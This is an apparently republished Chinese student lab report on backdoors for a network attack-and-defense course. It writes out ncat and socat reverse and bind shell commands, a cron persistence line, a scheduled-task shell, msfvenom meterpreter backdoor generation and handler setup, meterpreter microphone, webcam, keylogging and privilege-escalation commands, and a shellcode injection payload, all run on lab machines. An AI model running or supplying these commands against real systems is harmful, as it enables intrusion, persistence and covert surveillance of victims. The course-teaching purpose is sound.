热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:201920202网络对抗技术20175209Exp2后门原理与实践

本文由编程笔记#小编为大家整理,主要介绍了2019-2020-2 网络对抗技术 20175209 Exp2 后门原理与实践相关的知识,希望对你有一定的参考价值。 2019-2020-2 网络对抗技术
本文由编程笔记#小编为大家整理,主要介绍了2019-2020-2 网络对抗技术 20175209 Exp2 后门原理与实践相关的知识,希望对你有一定的参考价值。



2019-2020-2 网络对抗技术 20175209 Exp2 后门原理与实践

一、常用的后门工具


1. ncat

ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。


Windows获取kali的shell



  • 在Windows中查看本机IP地址为192.168.1.104

  • Windows中使用ncat打开监听ncat.exe -l -p 5209

  • 在kali中反弹链接Windows,ncat 192.168.1.104 5209 -e /bin/sh-e 选项用于执行shell

  • Windows成功获得了kali的shell

    技术图片


kali获得Windows的shell



  • kali中sudo 模式下查看本机ip地址为192.168.1.107

  • kali中开启监听nc -l -p 5209

  • Windows中反弹链接kali,ncat.exe -e cmd.exe 192.168.1.107 5209

  • kali成功获得了Windows的shell

    技术图片


kali向Windows中传输文件



  • Windows中通过ncat.exe -l 5209 > file2.out 监听5209 端口,将收到的内容存储在file2.out

  • kali反弹链接Windows的5209 端口,nc 192.168.1.104 5209

  • 通过type file2.out 在Windows中查看接收到的内容

  • 通过cat file2.in 在kali中查看发送的内容(这里由于截图问题缺失了一行代码)

    技术图片


Windows向kali中传输文件



  • 这一部分的内容详见问题1


使用nc相互传输通信



  • Windows下监听5209 端口,ncat.exe -l 5209

  • kali反弹连接到Windows的5209 端口,nc 192.168.3.26 5215

  • 开始相互传输数据

    技术图片


socat

? ? ? ?socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。

? ? ? ?socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。

? ? ? ?Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。

? ? ? ?socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。


Meterpreter



  • 后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的

    • 基本功能(基本的连接、执行指令),

    • 扩展功能(如搜集用户信息、安装服务等功能),

    • 编码模式,

    • 运行平台,

    • 以及运行参数


  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

  • 典型的平台就包括有:

    • intersect

    • Metaspolit的msfvenom指令

    • Veil-evasion


  • 指令参数说明

    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.

    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。

    • -e 使用的编码器,用于对shellcode变形,为了免杀。

    • -i 编码器的迭代次数。如上即使用该编码器编码5次。

    • -b badchar是payload中需要去除的字符。

    • LHOST 是反弹回连的IP

    • LPORT 是回连的端口

    • -f 生成文件的类型>?输出到哪个文件


有关meterpreter的相关指令和内容较多,更多指令参考老师的课件


二、实验内容


1. 使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。



  • Windows下监听5209 端口

  • kali中,通crontab -e 指令便捷定时任务,第一次编辑时选择3

  • 在打开的文件最后一行添加11 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh,为了能迅速看到效果,将时间设置为了11分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第11分钟反向连接Windows主机的5209端口。

    技术图片


  • 时间到后,在Windows中可以获取kali的shell,如下图所示(如果使用ls命令出现问题,可以使用比较简单的whoami命令,也能验证)

    技术图片



2. 使用socat获取主机操作Shell, 任务计划启动



  • 在Windows中下载socat

  • 此电脑 右键选择管理

    技术图片


  • 点击任务计划程序,再点击创建任务

    技术图片


  • 填写一个名称 ,接下来建议大家先编辑操作在设置触发器,因为设置触发器默认会选择就近的时间,当编辑完操作后可能已经错过了触发器的设置时间;

  • 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5209 ,同时把cmd.exe的stderr重定向到stdout上;

    技术图片


  • 新建一个触发器,选择按预定计划,(设置其他也可,可自行选择)

    技术图片


  • 创建完成后可以看到任务的状态为准备就绪

    技术图片


  • 到达设置的时间19:31后,可以看到socat已经开始运行

    技术图片


  • 在kali中输入socat - tcp:192.168.1.104:5209 (IP为Windows的IP地址,第一个参数 - 代表标准的输入输出,第二个流连接到Windows主机的5209端口)此时可以发现已经成功获得了一个cmd shell(由于输入dir 指令后内容过多,会覆盖获得shell成功的内容,因此没有输入)

    技术图片



3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell



  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5209 -f exe > 20175209_backdoor.exe ,这里的IP地址为控制端kali的IP地址,,在文件管理器中可见已经生成了后门程序“20175209_backdoor.exe”。这里在做的时候遇到了很多的问题,具体参考实验总遇到的问题2。

    技术图片


  • 在Windows下执行ncat.exe -lv 5209 > 20175209_backdoor.exe 指令,通过-lv 选项看到当前的连接状态

  • 在kali中执行nc 192.168.1.104 5209 <20175209_backdoor.exe(IP地址为被控主机Windows的IP),传输成功后观察到如下内容:

    技术图片


  • 在相应的文件夹下可以查看到20175209_background.exe

    技术图片


  • 在kali上使用msfconsole指令进入msf控制台

    技术图片



    • 输入use exploit/multi/handler使用监听模块

      技术图片


    • 设置payloadset payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • set LHOST 192.168.1.107(Kali的IP),

    • set LPORT 5209,同样要使用相同的端口

    • show options,查看详细信息

      技术图片


    • 输入exploit,开始监听

      技术图片


    • 在Windows下运行后门程序20175209_backdoor.exe,运行前应提前关闭杀毒软件的防护

    • 此时在kali中已经获得了Windows的shell,输入dir, 可以查看Windows中20175209_backdoor.exe所在目录下的文件信息

      技术图片




4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权



  • 使用record_mic 指令可以截获一段音频,使用-d选项设置录制时间,这里我选择设置时长为10s,-d 10

    技术图片


  • 使用webcam_snap 指令可以使用摄像头进行拍照

    技术图片


  • 使用keyscan_start指令记录下击键的过程(需要在Windows中进行任意输入),使用keyscan_dump 指令读取击键记录

    技术图片


  • 使用screenshot 指令可以进行截屏

    技术图片


  • 使用getuid 指令查看当前用户

    技术图片


  • 使用getsystem 指令进行提权操作,参考内容

    技术图片



5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell



  • 这一部分的内容比较困难,参考了各路大神的博客才有所掌握

  • 在shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接(由于无法确保最新版本的会不会存在别的问题,因此选择了和大神们一样的文件)大家在查找时将show设置为120,大概在第二页上部即可找到

    技术图片


  • 根据实验一的学习,我们先通过gdb调试找到shellcode的返回地址0xffffd2d0, 然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode 文件,具体代码如下:


perl -e &#39;print "A" x 32;print"xd0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"&#39; > input_shellcode

技术图片

技术图片



  • 在新终端b中启动msfconsole,执行和任务3中同样的指令打开监听

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 ##在下载的图中有标注相应的IP地址和端口号
show options
exploit


  • 在终端a中通过管道符对input_shellcode进行注入,执行(cat input_shellcode;cat) | ./pwn1 ,可以看到能够成功运行

    技术图片


三、问题回答



  • 例举你能想到的一个后门进入到你系统中的可能方式?

    • 在浏览网页时,再次点击网页中点击其他的链接或者在网站中下载的程序时都有可能将后门程序带入自己的电脑中,同时安装程序时的捆绑程序中也可能包含后门程序。


  • 例举你知道的后门如何启动起来(win及linux)的方式?

    • Windows:和Windows某些开机自启动项进行捆绑,开机时可以自启动,修改Windows的注册表项

    • Linux:本次实验中的通过crontab 设置定时启动以及捆绑注入


  • Meterpreter有哪些给你映像深刻的功能?

    • 除了本次实验中设计的执行指令,获取被控主机的录音、录像、截图、键盘输入记录等;还有从目标机上对相关的文件进行下载和上传,远程操控目标机上的程序运行。


  • 如何发现自己有系统有没有被安装后门?

    • 在终端中通过netstat 命令查看有无异常开放的端口

    • 通过杀毒软件对系统进行扫描和检测

    • 定期检查自启动项中是否有新增的或者自己不知道的自启动项。



四、实验中遇到的问题及解决


Qusetion1 nc从Windows想kali中传输文件时出错(暂时未解决)

技术图片



  • 针对上述问题,在网上查找了相关资料,原因可能为kali虚拟机的ssh服务端口没有打开,参考链接,我尝试打开22号端口。

  • 输入net -tlnp 命令查看已经开放的端口号,观察到相应的端口已经开启

    技术图片


  • 重启了kali虚拟机后,再次尝试传送,发现仍然提示相同的错误

  • 正在积极寻找下一步解决方案



Question2 生成可执行文件时出现msfconsole启动失败的问题

技术图片



  • 首先查找到的资料中给出的原因是bundler版本不一致造成的,需要下载旧版本,输入gem install bundler:1.17.3 下载

    技术图片


  • 如果上一步能成功下载的同学那么要恭喜你了,因为我自己在下载是一直提示的是连接网站超时,无法进行下载(但是有和我用同一款kali的同学可以正常安装,我也没搞清楚到底是为什么),进一步查找的资料给出的原因是国内网络导致rubygems.org存放在Amazon?S3上面的资源文件间歇性连接失败,按照其中的指导更换成国内的官方镜像时也提示ssl证书已经过期,也无法安装

  • 再查找资料时发现上一个资料里面给出的官方的RUbyGems镜像不再维护了,更换成Ruby China的镜像,终于可以成功了(我真是太难了!!)

    技术图片



Question3 Windows10中提权失败的问题

技术图片



  • 这一部分的内容我自己找到的资料执行起来也都存在问题,因此参考了20175215丁文韬同学的博客,也是在娄老师的win7中进行的。


五、实验心得体会

? ? ? ?通过本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。

? ? ? ?在本次实验中遇到了很多问题,也花费了大量的时间去查找相关的资料,学习到了一些实验内容之外的东西,我觉得这些在实验过程中也是很有意义的内容,了解了更多meterpreter的知识。

? ? ? ?通过本次自己亲自动手实践我也了解到了后门功能的强大性和危害性,因此对于后门的防范的重要性也不言而喻。

? ? ? ?希望更多掌握这些知识的人能够用其作为维护网络和信息的安全,用来保护国家的安全。


六、参考资料


0x21_MAL_后门原理与实践.md

kali虚拟机开启ssh服务

rubygems.org下载时连接间歇性失败

安装bundler最终解决方法

shellcode下载地址

2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践

2019-2020-2 20175215丁文韬《网络对抗技术》Exp2 后门原理

Meterpreter学习资料



推荐阅读
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 本文介绍了5个基本Linux命令行工具的现代化替代品,包括du、top和ncdu。这些替代品在功能上进行了改进,提高了可用性,并且适用于现代化系统。其中,ncdu是du的替代品,它提供了与du类似的结果,但在一个基于curses的交互式界面中,重点关注占用磁盘空间较多的目录。 ... [详细]
  • 程序员如何选择机械键盘轴体?红轴和茶轴对比
    本文介绍了程序员如何选择机械键盘轴体,特别是红轴和茶轴的对比。同时还介绍了U盘安装Linux镜像的步骤,以及在Linux系统中安装软件的命令行操作。此外,还介绍了nodejs和npm的安装方法,以及在VSCode中安装和配置常用插件的方法。最后,还介绍了如何在GitHub上配置SSH密钥和git的基本配置。 ... [详细]
  • POCOCLibraies属于功能广泛、轻量级别的开源框架库,它拥有媲美Boost库的功能以及较小的体积广泛应用在物联网平台、工业自动化等领域。POCOCLibrai ... [详细]
  • Linux防火墙配置—允许转发
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 三、寻找恶意IP并用iptables禁止掉找出恶意连接你的服务器80端口的IP,直接用iptables来drop掉它;这里建议写脚本来运行, ... [详细]
  • Ubuntu18.04 安装ROS Melodic && Ros2 Dashing
    https:blog.csdn.netqq_44717317articledetails104547474一、Ubuntu18.04的安装ubuntu2go的制作关于Ubuntu2 ... [详细]
  • NFS文件共享系统
    1、概述:NFS(NetworkFileSystem)意为网络文件系统,它最大的功能就是可以通过网络,让不同的机器不同的操作系统可以共享 ... [详细]
  • IP双栈环境下网络应用迁移
    IPv4向IPv6迁移有多种途径,在选择具体的迁移方式时,当前环境中运行的应用是否支持IPv6是重要的考量因素之一,同时在编写新的应用时,需要考虑新编写的应用不仅可以适应当前主流的IPv4环境, ... [详细]
  • 实例详解ISA防火墙策略元素
    我们在前面的工作中已经实现了ISA2006的代理服务器功能,接下来我们要实现ISA的访问控制功能。很多公司都有控制员工访问外网的需求,例如有的公司不允许 ... [详细]
author-avatar
书生
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有